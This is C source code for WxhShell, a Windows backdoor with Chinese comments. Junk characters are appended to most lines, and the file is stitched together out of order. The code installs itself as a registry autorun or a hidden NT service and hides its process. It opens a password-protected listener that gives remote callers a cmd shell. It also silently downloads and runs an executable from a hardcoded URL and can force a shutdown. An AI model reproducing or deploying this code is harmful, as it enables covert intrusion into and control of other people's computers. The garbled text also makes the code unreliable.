    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P}7'm M  
    else { fx>4  
    closesocket(wsh); p"ZG%Ow5Q]  
    ExitThread(0); w=J3=T@TD  
    } :A'y+MnK<  
    break; ';=O 0)u  
    } =rCIumqD-}  
  // 获取shell pD#rnp>WWt  
  case 's': { .UY^oR=b{  
    CmdShell(wsh); KNIn:K^/  
    closesocket(wsh); )f<z% :I+Z  
    ExitThread(0); u^qT2Ss0  
    break; ah+iZ}E%  
  } wx0j(:B]  
  // 退出 X*@dj_,  
  case 'x': { _t #k,;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o$lM$E:  
    CloseIt(wsh); _8_R 1s  
    break; 4u5-7[TZ  
    } ]F'e aR  
  // 离开 @7j AL-  
  case 'q': { v<(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "mvt>X  
    closesocket(wsh); h|{]B,.Lh  
    WSACleanup(); DG:Z=LuJr  
    exit(1); [}0haTYc4  
    break; Q|?L*Pq2I  
        } 76h ,]xi  
  } oEKvl3Hz_  
  } 4 VW[E1<  
#Kex vP&*  
  // 提示信息 orMwAV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k5.Lna  
} X))/ m[_[  
  } ;P%1j|7  
KEjWRwN  
  return; O5nD+qTQ#  
} .MoU1n{Yc  
RO/FF<f  
// shell模块句柄 GH:jH]u!V  
int CmdShell(SOCKET sock) {go;C}  
{ Xg!{K3OS  
STARTUPINFO si; MC.) 2B7  
ZeroMemory(&si,sizeof(si)); C mWgcw1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V7fq4O^:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ::{Q1F  
PROCESS_INFORMATION ProcessInfo; #-i>;Rt  
char cmdline[]="cmd"; UIN<2F_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]{mPh\  
  return 0; !/i{l  
} } .m<  
=QiI :|eRA  
// 自身启动模式 mQ 26K~  
int StartFromService(void) (b-MMr  
{ c>:wd@w  
typedef struct 9} M?P  
{ ?:I*8Fj  
  DWORD ExitStatus; hVAn>_(  
  DWORD PebBaseAddress; NzOx0WLF  
  DWORD AffinityMask; =BAW[%1b  
  DWORD BasePriority; ryUQU^v  
  ULONG UniqueProcessId; Tc`=f'pP)4  
  ULONG InheritedFromUniqueProcessId; peuZ&yK+"  
}   PROCESS_BASIC_INFORMATION; 'UX!*5k<:  
[H^z-6x:0  
PROCNTQSIP NtQueryInformationProcess; 9oR@U W1  
;1O_M9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tKx~1-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MSqVlj  
q"sed]  
  HANDLE             hProcess; -g Sa_8R  
  PROCESS_BASIC_INFORMATION pbi; >kDQkhZ  
dkBIx$t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1.{z3_S21:  
  if(NULL == hInst ) return 0; {|_M # w~&  
*>'V1b4}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (WO]Xq<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <~'"<HwtK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vB|hZTW  
aPfO$b:  
  if (!NtQueryInformationProcess) return 0; J1RJ*mo7,  
A,hJIe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cyv`B3}  
  if(!hProcess) return 0; Z=Y& B>:[  
6@ IXqKz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BmMGx8P  
u9GQU  
  CloseHandle(hProcess); L<-_1!wh  
FvXZ<(A{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \[_t]'p  
if(hProcess==NULL) return 0; a /l)qB#  
{9;CNsd  
HMODULE hMod; >#~& -3  
char procName[255]; _w(7u(Z  
unsigned long cbNeeded; cr?Q[8%t1  
(\hx` Yh=>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7#ibN!  
q#ClnG*  
  CloseHandle(hProcess); %D}kD6=  
aweV#j(y  
if(strstr(procName,"services")) return 1; // 以服务启动 {V$|3m>:*  
xPk8$1meZM  
  return 0; // 注册表启动 O%zU-_|*  
} Cc' 37~6~P  
8\ +T8(m  
// 主模块 G"U9E5O  
int StartWxhshell(LPSTR lpCmdLine) YYl4"l  
{ ~tUl}  
  SOCKET wsl; kmsb hYM)  
BOOL val=TRUE; so)[59M7  
  int port=0; &5spTMw8  
  struct sockaddr_in door; ZQoU3AD;  
@qqg e'  
  if(wscfg.ws_autoins) Install(); 6YLj^w] %  
)72+\C[*~r  
port=atoi(lpCmdLine); !&ayYu##{  
nE&@Q  
if(port<=0) port=wscfg.ws_port; 1s2>C!\  
EQyC1j  
  WSADATA data; RO VW s/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '4Ixqb+  
4Lh!8g=/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [.8BTj1%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %C'?@,7C  
  door.sin_family = AF_INET; YpZ+n*&+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W5lR0)~#*  
  door.sin_port = htons(port); H*QIB_  
#!qm ZN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c~$)UND^  
closesocket(wsl); o]` *M|  
return 1; @+M /&  
} KL:j?.0  
.TR9975  
  if(listen(wsl,2) == INVALID_SOCKET) { {M$1N5Eh  
closesocket(wsl); !M]uL&:  
return 1; z(exA  
} $L>@Ed<  
  Wxhshell(wsl); >#;.n(y  
  WSACleanup(); ?WUA`/[z  
c74.< @w  
return 0; 6C^ D#.S  
m )zUU  
} -MO#]K3<  
+EAsW(F1  
// 以NT服务方式启动 @ ZwvBH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =wHVsdNCN  
{ Zq|I,l0+E  
DWORD   status = 0; wd^':  
  DWORD   specificError = 0xfffffff; eV"h0_ox  
YTpSHpf@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )uIe&B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?)?Ng}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;| 5F[  
  serviceStatus.dwWin32ExitCode     = 0; zh`<WN&H  
  serviceStatus.dwServiceSpecificExitCode = 0; wj<6kG  
  serviceStatus.dwCheckPoint       = 0; Eh;'S"{/?j  
  serviceStatus.dwWaitHint       = 0; # E^1|:  
f ue(UMF~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }6}l7x  
  if (hServiceStatusHandle==0) return; 3!Ij;$  
gQelD6c  
status = GetLastError(); ?|C2*?hZ+  
  if (status!=NO_ERROR) @* jz o  
{ e&F8m%t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vnt%XU,,Y  
    serviceStatus.dwCheckPoint       = 0; 5 +YH.4R  
    serviceStatus.dwWaitHint       = 0; ]^n7  
    serviceStatus.dwWin32ExitCode     = status; N1S{suic  
    serviceStatus.dwServiceSpecificExitCode = specificError; {G0T$,'DR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oo8VeRZ  
    return; &yTqZ*Yuk  
  } +z\^t_"f  
9y8&9<#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S6M}WR^,  
  serviceStatus.dwCheckPoint       = 0; +nhLIO{{L  
  serviceStatus.dwWaitHint       = 0; Mj?`j_X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /-qNh >v4  
} E *6Cw l  
k&q;JyUi  
// 处理NT服务事件,比如:启动、停止 kT66;Y[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B =T'5&  
{ >`mVY=H i  
switch(fdwControl) L>&t|T2  
{ D~fl JR  
case SERVICE_CONTROL_STOP: x0D*U?A  
  serviceStatus.dwWin32ExitCode = 0; sPQQ"|wU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [{,T.;'<j  
  serviceStatus.dwCheckPoint   = 0; Apag{Z]^B  
  serviceStatus.dwWaitHint     = 0; \?ZB]*Fu  
  { sA/D]W.P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "]x'PI 4J  
  } Y%aCMP9j~9  
  return; l^-];|Y  
case SERVICE_CONTROL_PAUSE: YQ)kRhFA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TG?brgW  
  break; 7~% ?#  
case SERVICE_CONTROL_CONTINUE: *NaB#;+|k`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =tn)}Y.<e  
  break; 6qpJUkd  
case SERVICE_CONTROL_INTERROGATE: 9C9oUtS  
  break; ,vawzq[oSy  
}; 0 [# 3;a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a=1@*ID  
} oj<gD  
SrJGTuXg  
// 标准应用程序主函数 -%CP@dAk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tBWrL{xLe  
{ P[ck84F/  
*?>T,gx}  
// 获取操作系统版本 E\EsWb  
OsIsNt=GetOsVer(); u8g~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TnA-;Ha  
J#(LlCs?@c  
  // 从命令行安装 D& i94\vVa  
  if(strpbrk(lpCmdLine,"iI")) Install(); }W8;=$jr  
9uO 2Mm  
  // 下载执行文件 IGQFtO/x  
if(wscfg.ws_downexe) { RnE4<Cy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v^NIx q}U  
  WinExec(wscfg.ws_filenam,SW_HIDE); gp?uHKsM  
} 6ex/TySM  
: /N0!&7  
if(!OsIsNt) { 9};8?mucr  
// 如果时win9x,隐藏进程并且设置为注册表启动  _,0  
HideProc(); $G+@_'  
StartWxhshell(lpCmdLine); EjR9JUu  
} (D&3G;0tK  
else k FD; i  
  if(StartFromService()) )[IC?U:5I  
  // 以服务方式启动 <w9JRpFY  
  StartServiceCtrlDispatcher(DispatchTable); XJ\DVZ  
else ncdKj}  
  // 普通方式启动 (OL4Ex']  
  StartWxhshell(lpCmdLine); MK~8}x2K  
$6 9&O  
return 0;  . iI  
} wo/\]5  
 KC6.Fr{  
[kB7@o  
UHkMn  
=========================================== N!=v4f  
Lv7(st%`  
3M7/?TMw{6  
Tv=mgH=b  
uyWunpT  
Pn1^NUMZJ  
" #A/  
Rsk4L0  
#include <stdio.h> $GcqBg-Hi  
#include <string.h> ]p GL`ge5  
#include <windows.h> q`7PhA  
#include <winsock2.h> :\c ^*K(9  
#include <winsvc.h> ie95rZp  
#include <urlmon.h> a#k6&3m&  
P|E| $)m  
#pragma comment (lib, "Ws2_32.lib")  8q!]y6  
#pragma comment (lib, "urlmon.lib") 1(R}tRR7R  
f~R(D0@  
#define MAX_USER   100 // 最大客户端连接数 /-'}q=M  
#define BUF_SOCK   200 // sock buffer %)1?TU  
#define KEY_BUFF   255 // 输入 buffer ;[YG@-"XZ  
7Q9 w?y~c  
#define REBOOT     0   // 重启 "+nRGEs6  
#define SHUTDOWN   1   // 关机 U9 s&  
?e4YGOe.  
#define DEF_PORT   5000 // 监听端口 t%)7t9j  
@b%=H/5\  
#define REG_LEN     16   // 注册表键长度 k]|~>9eY]  
#define SVC_LEN     80   // NT服务名长度 +@f26O7$*  
lfgq=8d  
// 从dll定义API /Cr%{'Pzk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xLajso1g69  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o:'MpKm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )dw'BNz5hT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *:7rdzn  
v!-pSa)3  
// wxhshell配置信息 q YQl,w  
struct WSCFG { !9e=_mY  
  int ws_port;         // 监听端口 ~G&dqw/.-U  
  char ws_passstr[REG_LEN]; // 口令 `/+>a8  
  int ws_autoins;       // 安装标记, 1=yes 0=no \*?~Yj #  
  char ws_regname[REG_LEN]; // 注册表键名 Ic<2QknmP  
  char ws_svcname[REG_LEN]; // 服务名 Wvh#:Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ebhXak[w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u&vf+6=9Dd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 khxnlry  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +\]\[6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jB2[(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <'Eme  
 K5h  
}; t =iIY`Md%  
H%td hu\e  
// default Wxhshell configuration (%6P0*  
struct WSCFG wscfg={DEF_PORT, g$-PR37(  
    "xuhuanlingzhe", 5C ]x!>kX  
    1, $a]`nLUa  
    "Wxhshell", 2F.;;Ab  
    "Wxhshell", ADzhNf S  
            "WxhShell Service", 'IQ0{&EI  
    "Wrsky Windows CmdShell Service", ]%H`_8<gc  
    "Please Input Your Password: ", q54]1TQ  
  1, tDcT%D {:  
  "http://www.wrsky.com/wxhshell.exe", q<|AZ2Ai  
  "Wxhshell.exe" tcI*a>  
    };  mq.`X:e  
C< tl/NC  
// 消息定义模块 dZ@63a>>@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J/$&NWF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2%m BK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2/^3WY1U  
char *msg_ws_ext="\n\rExit."; </z Eg3F\  
char *msg_ws_end="\n\rQuit."; C,r;VyW6BI  
char *msg_ws_boot="\n\rReboot..."; *i%d,w0+  
char *msg_ws_poff="\n\rShutdown..."; ~36!?&eA8  
char *msg_ws_down="\n\rSave to "; d7upz]K9g  
q|(HsLs  
char *msg_ws_err="\n\rErr!"; tyFzSrfc  
char *msg_ws_ok="\n\rOK!"; ^n z.j  
n-;`Cy`k  
char ExeFile[MAX_PATH]; k y7Gwc  
int nUser = 0; n_A3#d<9  
HANDLE handles[MAX_USER]; vk^xT  
int OsIsNt; H1 ./x6Hr  
S=5o < 1  
SERVICE_STATUS       serviceStatus; lL3U8}vn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +r2-S~f3N  
CA~-rv  
// 函数声明 ?6U0PChy  
int Install(void); R-$!9mnr  
int Uninstall(void); g) jYFfGfH  
int DownloadFile(char *sURL, SOCKET wsh); U[MA)41  
int Boot(int flag); )ez9"# MH'  
void HideProc(void); W|mo5qrLS2  
int GetOsVer(void); m-, x<bM?  
int Wxhshell(SOCKET wsl); PJH&  
void TalkWithClient(void *cs); GD$l| |8  
int CmdShell(SOCKET sock); )y$(AJx$  
int StartFromService(void);  qX{+oy5  
int StartWxhshell(LPSTR lpCmdLine); F JyT+  
m{HS0l'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U Cjld  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n:!_  
`|q(h Ow2  
// 数据结构和表定义 ~]2K ^bh8&  
SERVICE_TABLE_ENTRY DispatchTable[] = 5rik7a)Z]  
{ kxv1Hn"`{E  
{wscfg.ws_svcname, NTServiceMain}, YaqJ,"GlT  
{NULL, NULL} 7kE n \  
};  \4fQMG  
.Q 2V}D85  
// 自我安装 rey!{3U  
int Install(void)  b>ySv  
{ $!t4r  
  char svExeFile[MAX_PATH]; Km$\:Xo  
  HKEY key; _t^&Ah*  
  strcpy(svExeFile,ExeFile); <LiPEo.R  
#ABZ&Z  
// 如果是win9x系统,修改注册表设为自启动 f@!.mDm]  
if(!OsIsNt) { i/Zd8+.n$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -iZ`Y?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3Y$GsN4ln  
  RegCloseKey(key); Q$"D]!G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FYQS)s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;2QP7PrSY  
  RegCloseKey(key); T>W,'H  
  return 0; ]Y&VT7+Z  
    } +ZP7{%  
  } @r1_U,0e  
} f/?P514h  
else { r~['VhI!;E  
ECmW`#Otb)  
// 如果是NT以上系统,安装为系统服务 Z% UP6%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,ig/s2ZG6X  
if (schSCManager!=0) 8}:nGK|kx  
{ Eu3E-K@y  
  SC_HANDLE schService = CreateService ");a3hD  
  ( `R^gU]Z,  
  schSCManager, @6-jgw>W2  
  wscfg.ws_svcname, VIf.q)_k  
  wscfg.ws_svcdisp, iy.\=Cs$N  
  SERVICE_ALL_ACCESS, qHsA1<wg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N;%6:I./  
  SERVICE_AUTO_START, f$QNg0v  
  SERVICE_ERROR_NORMAL, {' H(g[k  
  svExeFile, vl)l'  
  NULL, jPkn[W# 6  
  NULL, aN3;`~{9  
  NULL, e\/w'  
  NULL, J'r^/  
  NULL GQ ;;bcj&  
  ); jebx40TA3  
  if (schService!=0) qH_Dc=~la  
  { "m>81-0  
  CloseServiceHandle(schService); u*9V&>o  
  CloseServiceHandle(schSCManager); rytyw77t(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1o>xEWt:0K  
  strcat(svExeFile,wscfg.ws_svcname); veECfR;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 47/iF97  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tZo} ;|~'  
  RegCloseKey(key); '|=;^Z7.K  
  return 0; zm;C\s rF  
    }  %;!.n{X  
  } qqU 64E  
  CloseServiceHandle(schSCManager); hi[pVk~B)  
} 5!9zI+S|=`  
} Flb&B1  
],].zlN  
return 1; EoDA]6?Lj  
} -UT}/:a  
,hmL/K0"(5  
// 自我卸载 &)<)^.@3G^  
int Uninstall(void) sDV Q#}a  
{ V(*(F7+  
  HKEY key; =2x^nW  
7 X4LJf  
if(!OsIsNt) { 2:ylv<\$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \73ch  
  RegDeleteValue(key,wscfg.ws_regname); apxph2yvS  
  RegCloseKey(key);  9gZ$   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `r_/Wt{g  
  RegDeleteValue(key,wscfg.ws_regname); )!T/3|C  
  RegCloseKey(key); Xn ;AZu^'R  
  return 0; / XIhj  
  } 6W Ur QFK  
} =tY T8Q;al  
} |Q>IrT  
else { IE~ |iQ?-  
~Cjn7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a[TMDU;(/4  
if (schSCManager!=0) T[j,UkgGo  
{ m l$o5&sN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k VQ\1!  
  if (schService!=0) F6dP,(  
  { :U x_qB  
  if(DeleteService(schService)!=0) { HpnWo DM  
  CloseServiceHandle(schService); 8~gLqh8^V  
  CloseServiceHandle(schSCManager); "zy7C*)>r  
  return 0; #LOwGJ$yVz  
  } 40 0#v|b  
  CloseServiceHandle(schService); v.5+7,4  
  } )dSi/  
  CloseServiceHandle(schSCManager); 4X|zmr:A  
} xN%K^Tree  
} ;bhT@aB1  
uW3!Yg@  
return 1; WjqO@]P6  
} v*yuE5{  
#3d(M  
// 从指定url下载文件 sp`Dvqx0  
int DownloadFile(char *sURL, SOCKET wsh) " 2Dngw  
{ Rws3V"{`[  
  HRESULT hr; -Y;3I00(  
char seps[]= "/"; *uvQ\.  
char *token; Xn\jO>[Ef  
char *file; FC"8#*x  
char myURL[MAX_PATH]; :eLVC7'  
char myFILE[MAX_PATH]; wec)Ctj+  
lb1Xsgm{  
strcpy(myURL,sURL); 2f_:v6   
  token=strtok(myURL,seps); s"?3]P  
  while(token!=NULL) b>9>uC@J15  
  { 8-6L|#J#  
    file=token; =mmWl9'mJ  
  token=strtok(NULL,seps); b<u3 hln%,  
  } HUOj0T  
xn|(9#1o  
GetCurrentDirectory(MAX_PATH,myFILE); #cLBQJq  
strcat(myFILE, "\\"); N)>ID(}F1  
strcat(myFILE, file); 5NLDYi@3  
  send(wsh,myFILE,strlen(myFILE),0); yR.Ong  
send(wsh,"...",3,0); 76` .Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L4?IHNB  
  if(hr==S_OK) 5rUdv}.  
return 0; .3!1`L3  
else ^/=KK:n~  
return 1; k-""_WJ~^  
7j)8Djzp|  
} W`*r>`krVJ  
7T'B6`-Ox  
// 系统电源模块 r!{Up7uL  
int Boot(int flag) FU<Jp3<%  
{ 7vj2 `+r.  
  HANDLE hToken; S#[j )U-  
  TOKEN_PRIVILEGES tkp; :p6M=  
gKCX|cULY  
  if(OsIsNt) { FNId ;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]jRfH(i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o,3a4nH;  
    tkp.PrivilegeCount = 1; 8sK9G` k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uA#;G/$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {cw /!B  
if(flag==REBOOT) { k.15CA`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #yvGK:F  
  return 0; eQvg7aO;  
} -o EW:~y  
else { 5QO9Q]I#_\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~.lPEA %%  
  return 0; _oDz-  
} vgN&K@hJ  
  } ROZF)|l  
  else { @!d{bQd,  
if(flag==REBOOT) { *G 9V'9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ef E.&]  
  return 0; 9k[9P;"F:  
} 8qu6.  
else { n@[O|?S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %GIr&V4|  
  return 0; `x%>8/  
} "Os_vlapHo  
} ps DetP  
Xm2z}X(%  
return 1; S?BG_J6A7  
} R .2wqkY  
Ef13Q]9|  
// win9x进程隐藏模块 2gVm9gAHUd  
void HideProc(void) 2SR:FUV/  
{ d4z/5Oa  
X+]G-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3%=~) 7cF  
  if ( hKernel != NULL ) G'aDb/  
  { tcog'nAz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y Fq&8 x<X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =[jXe  
    FreeLibrary(hKernel); hqkz^!rp  
  } \:F_xq  
x# 5A(g  
return; >t_6B~x9  
} k2UVm$}u  
F`]2O:[  
// 获取操作系统版本 _ZkI)o  
int GetOsVer(void) GF=g<H M  
{ ZO$%[ftb  
  OSVERSIONINFO winfo; jsi!fx2Rm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "|KP'<8%  
  GetVersionEx(&winfo); w_u\sSQ`!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qK&d]6H R  
  return 1; 3>VL}Ui}  
  else CF5`-wj/#  
  return 0; 0>Z_*U~6  
} *% @h(js  
( Px OE  
// 客户端句柄模块 Vj>8a)"B5a  
int Wxhshell(SOCKET wsl) sZF6h=67D  
{ <0q;NrvUb  
  SOCKET wsh; v0jgki4 t  
  struct sockaddr_in client; ] {HI?V  
  DWORD myID; /%A*aGyIc  
I`4*+a'q&  
  while(nUser<MAX_USER) L4y4RG/SJ:  
{ y9}>:pj4  
  int nSize=sizeof(client); k7usMVAA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a-L;*  
  if(wsh==INVALID_SOCKET) return 1; *,WU?tl&  
fIv*T[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); / FEVmH?  
if(handles[nUser]==0) L8#5*8W6  
  closesocket(wsh); !f&g-V  
else ;q6Ki.D  
  nUser++; "C0Q(dr/n  
  } b(O3@Q6[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P3 ^Y"Pv?  
w}cPs{Vi"  
  return 0; jPW#(3hoE  
} d)f :)Ew  
[RTs[3E^  
// 关闭 socket =P #]  
void CloseIt(SOCKET wsh) Aj+F |l  
{ 1 Nd2{(  
closesocket(wsh);  t[ C/  
nUser--; x>`%DwoRI  
ExitThread(0); (mtk 4  
} 3HY9\'t6  
O55 xS+3^k  
// 客户端请求句柄 !5uGd`^I  
void TalkWithClient(void *cs) i9][N5\$  
{ t"/q]G5  
l$bu%SZ  
  SOCKET wsh=(SOCKET)cs; G,Azm }+  
  char pwd[SVC_LEN]; K?$^@ N  
  char cmd[KEY_BUFF]; Whf.fK  
char chr[1]; _X"N1,0  
int i,j; **gXvTqI  
o"R7,N0rB  
  while (nUser < MAX_USER) { WWHoi{ q  
?R.j^ S^  
if(wscfg.ws_passstr) { @A ^;jk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k-OPU ,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =xx]@  
  //ZeroMemory(pwd,KEY_BUFF); 'qX|jtdM  
      i=0; ..'_o~Ka  
  while(i<SVC_LEN) { /,Re "!jh  
z]D69O b  
  // 设置超时 FZE"7ec>m  
  fd_set FdRead; tr}Loq\y  
  struct timeval TimeOut; *CTlOy  
  FD_ZERO(&FdRead); (|1A?@sJ#h  
  FD_SET(wsh,&FdRead); nq8C'Fo!6T  
  TimeOut.tv_sec=8;  0$fpIz  
  TimeOut.tv_usec=0; hJ~Uf5Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XaPV9 4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1 \6D '/G  
G..aiA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0o*8#i/)!3  
  pwd=chr[0]; 6-B|Y3)B  
  if(chr[0]==0xd || chr[0]==0xa) { ):_\;.L  
  pwd=0; _1!OlQ  
  break; R)ITy!z  
  } b-Q>({=i  
  i++; +8Ymw:D7a  
    } d8=x0~7  
G.dTvLv  
  // 如果是非法用户,关闭 socket /?F/9hL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (tw)nF  
} @;?p&.W`D  
q0r>2c-d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |kV*Jc k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q6`b26  
zz4N5["  
while(1) { ktBj|-'>  
ZO$m["|  
  ZeroMemory(cmd,KEY_BUFF); 91-o}|3v  
7f!YoW;1  
      // 自动支持客户端 telnet标准   ^mO~ W!"  
  j=0; V"G*N<q  
  while(j<KEY_BUFF) { WQL\y3f5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S<@7_I  
  cmd[j]=chr[0]; %Ax3;g#  
  if(chr[0]==0xa || chr[0]==0xd) { E3gh?6  
  cmd[j]=0; Tl[!=S  
  break; v4c[(&  
  } e:n<EnT  
  j++; T@&K- UQ  
    } Rww{:R  
w\i\Wp,FP  
  // 下载文件 (w/T-*  
  if(strstr(cmd,"http://")) { RM]M@%,K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B s#hr3h-  
  if(DownloadFile(cmd,wsh)) .|b$NM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K<ft2anY5  
  else +kO!Xc%P&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (UvM@]B  
  } BB*f4z$Y%  
  else { $r8 ^0ZRr  
"(z5{z?S  
    switch(cmd[0]) { vyX\'r.~7  
  r6} |hpJ8  
